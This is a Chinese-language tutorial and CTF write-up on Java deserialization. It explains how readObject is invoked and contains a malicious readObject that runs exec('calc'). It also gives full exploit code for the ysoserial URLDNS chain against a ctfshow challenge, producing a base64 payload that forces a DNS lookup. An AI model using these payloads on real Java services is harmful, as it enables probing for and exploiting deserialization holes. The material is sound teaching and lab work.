什么是序列化

反序列化漏洞,其实在之前的python和php早就接触过了,但是其都没有java那么出名,java耳熟能详的漏洞好像基本都是java反序列化造成的。
java的序列化的目的其实和其他语言很相似都是为了远程传输对象,保存对象等。java的序列化会将一个对象处理成一段二进制的字符,这使得传输效率的提高和存储空间的下讲,对提升性能来说是非常重要的。下面我来演示一些序列化和反序列化的过程

序列化和反序列的代码实现

类person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.*;

//实现 Serializable 接口,表示该类可以被序列化和反序列化
public class person implements Serializable{
private String name;
private int age;

//有参构造方法,实现赋值
public person(String name,int age){
this.name = name;
this.age = age;
}
//标识方法或接口是重写的
@Override
//重写了 Object 类中的 toString() 方法
public String toString(){
return "Person{" +
"name = '" + name + '\'' +
",age = " + age + '}';
}

}

上面的类用重写了toString这样当我们使用System.out.println来输出类时就会输出改类的name和age俩个成员属性。
想要使一个类被序列化就需要完成接口Serializable。

我们可以发现这个接口其实时空的,所以我们不需要完成这个接口的任何方法。这个接口的目的其实是为了给我们的类上一个标记告诉JVM这个是可序列化的类而已

序列化类Ser.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.*;
import java.util.DoubleSummaryStatistics;

public class Ser {
public static void Serializ(Object obj) throws Exception{
FileOutputStream bos=new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(bos);
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
person person = new person("LSE",19);
Serializ(person);
}
}

上面的代码注意是利用oos.writeObject(obj);来向序列化后的内容写入一个对象的。我们将反序列化后的字符利用SerializationDumper来查看会发现

类的内容位于classAnnotations下。

反序列化UnSer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.FileInputStream;
import java.io.ObjectInput;
import java.io.ObjectInputStream;

public class UnSer {
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
public static void main(String[] args) throws Exception {
Object person=Unserializ("ser.bin");
System.out.println(person);
}
}

反序列化是通过readObject()来进行的。

反序列化的过程

要想知道如何进行反序列攻击首先得了解原型反序列化的过程。
我们来下一个反序列化的断点来看看反序列化的过程。

再进入readObject后进一步调试会发现其进入了readObject0步入
方法的前半不部分是处理块数据的,不重要我们直接看其处理对象的过程

我们会发现其一个一个字节的进行读取,来读取其类描述符,再switch函数中不同的类描述符会进入不同的方法,因为我们传入的是个对象所以会进入TC_OBJECT中

进入了readOrdinaryObject方法里

再这个方法里我们会发现如上的判断,hasReadResolveMethod这个方法是用来判断传入的类是否有重写readObject的,如果重写了则直接调用invokeReadResolve这个方法来处理。我们进入invokeReadResolve

我们会发现其会判断其重写的readObject是否为空不为空则使用反射来调用这个方法

那么这时候我们就知道了,只要序列化的类中有重写readObject的,再反序列时就会调用这个类。说起来这个readObject就和php的__destruct很像重写了的readObject就和__destruct一样算是反序列漏洞的入口。

java反序列化的几种攻击方式

readObject下写用恶意代码

我们都知道了如果重写了readObject时再反序列调用时就会调用这个重写的readObject,那么如果再这个后端有这么一个类,其readObject下写有恶意代码那么是不是就可以进行攻击了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.*;
import java.net.URL;
import java.util.HashMap;

//实现 Serializable 接口,表示该类可以被序列化和反序列化
public class person implements Serializable{
private String name;
private int age;
//无参构造方法,在实例化对象时调用

//有参构造方法,实现赋值
public person(String name,int age){
this.name = name;
this.age = age;
}


//重写了 Object 类中的 toString() 方法
public String toString(){
return "Person{" +
"name = '" + name + '\'' +
",age = " + age + '}';
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}



}


反序列上面的类我们可以看到其确实弹了计算机,但是这个很无趣毕竟哪里会有开发者会再一个的类下重写一个readObject的内容是恶意代码呢。有我们也不大可能知道是哪一个类。

URLDNS

学习这个链我们先要知道一个工具就是

ysoserial

这个工具是Gabriel Lawrence (@gebl)和ChrisFrohoff (@frohoff)这两位提出利⽤Apache Commons Collections来构造命令执⾏的利⽤链的作者写的一个开源项目它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令
而URLDNS也是这所以链子里最简单的链子。

分析

这个链子并不能进行命令执行,其只能进行一个DNS的访问,但是因为其调用的类都是java的内置类无需其他依赖,这也就导致了其可以来探测是否存在java反序列漏洞。
我们都知道反序列化最重要的是入口,再php中入口是__destruct而java就是readObject。而这条链的入口就是hashmap重写的readObject。我们先来看一下其构造的payload长什么样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.util.Base64;
import java.util.DoubleSummaryStatistics;
import java.util.HashMap;

public class Ser {
public static void Serializ(Object obj) throws Exception{
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{

HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("https://13e8d7e2-18e9-4d1b-bff3-7a6a8768d21d.challenge.ctf.show/");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
System.out.println(hashcodefield);
hashcodefield.setAccessible(true);
hashcodefield.set(url,123);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefield.set(url,-1);
Serializ(hashmap);
}
}

我们可以看到payload中有HashMap这个类和URL这两个类。我们先分析HashMap

进入HashMap我们会发现其参数为Key和Value。因为我们主要要看的是readObject所以我们看一下这个方法

会发现其最后奖key传入了hash这个函数我们进入这个函数

我们会发现其执行了key.hashCode()。这个key的值可以为类。

我们再看URL

我们可以再URL类下找到hashCode这个方法,而这个方法下还有一个hashCode()我们步入这个方法

会发现其调用了getHostAddress(u);

再步入就会发现InetAddress.getByName(host),这个方法的作用是根据主机名得到ip,那么肯定会有一次访问。
那么就会有DNS记录。而其参数host,其实就是getHostAddress的参数u也就是hashCode的参数即this。
我们看一下这个类的构造方法

可以发现当我们传入单参数是其会直接将我们传入的参数载入。那么我们只要再实例化时传入URL即可

即这个链子其实就如下

1
2
3
4
5
6
1.HashMap->readObject()
2.HashMap->hash()->key.hashCode();
3.URL->hashCode();
4.URLStreamHandler->hashCode();
5.URLStreamHandler->getHostAddress(u)
6.InetAddress->getByName(host)

可以发现这个链子很短。但是如果我们直接将URL传入hashmap如下代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.util.Base64;
import java.util.DoubleSummaryStatistics;
import java.util.HashMap;

public class Ser {
public static void Serializ(Object obj) throws Exception{
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);

}

public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("https://13e8d7e2-18e9-4d1b-bff3-7a6a8768d21d.challenge.ctf.show/");
hashmap.put(url,1);
Serializ(hashmap);
}
}

会发现其并不会如设想那样在反序列时进行请求,反而是当我们序列化时其发送了请求,而反序列时却没有进行请求。

问题1为什么序列化时会进行请求。

我们先来分析为什么在序列化时会发现请求
其主要是这个短代码的原因

1
hashmap.put(url,1);


我们可以发现HashMap的put这个方法也调用了hashcode这个方法这就导致其也会调用url.hashCode导致进行一次请求

问题2 为什么反序列化时没有进行请求

我们查看URL的hashCode会发现其进行了一次判断只有当hashCode这个成员属性为-1时才会继续执行,如果不为-1那么就不会进行请求。
而在执行后我们会发现hashCode被赋值为handler.hashCode(this);
而在我们序列化执行到hashmap.put时其进行了一次请求那么hashCode的值就不为-1了
这就是为什么反序列时无法成功进行DNS请求

解决方案

解决方法也很简单,我们使用之前学的反射来解决这个问题。
我们可以利用反射即getDeclaredField()方法来得到URL类的hashCode属性,然后利用反射来更改url实例对象的hashCode的值代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.util.Base64;
import java.util.DoubleSummaryStatistics;
import java.util.HashMap;

public class Ser {
public static void Serializ(Object obj) throws Exception{
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("https://13e8d7e2-18e9-4d1b-bff3-7a6a8768d21d.challenge.ctf.show/");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
System.out.println(hashcodefield);
hashcodefield.setAccessible(true);
hashcodefield.set(url,123);//将hashCode更改为123使得hashmap.put无法发送请求
hashmap.put(url,1);
hashcodefield.set(url,-1);// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
Serializ(hashmap);
}
}

题目

ctfshow web846

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.util.Base64;
import java.util.DoubleSummaryStatistics;
import java.util.HashMap;

public class Ser {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(bos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}

public static void main(String[] args) throws Exception{
person person = new person("aa",22);
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("https://76158ba6-2e62-456a-8da2-ee48a5f6cb58.challenge.ctf.show/");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
System.out.println(hashcodefield);
hashcodefield.setAccessible(true);
hashcodefield.set(url,123);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefield.set(url,-1);
Serializ(hashmap);
}
}

题目要求我们生成一个base编码的序列化字符让其反序列化,然后DNS请求题目的网站
我们使用URLDNS链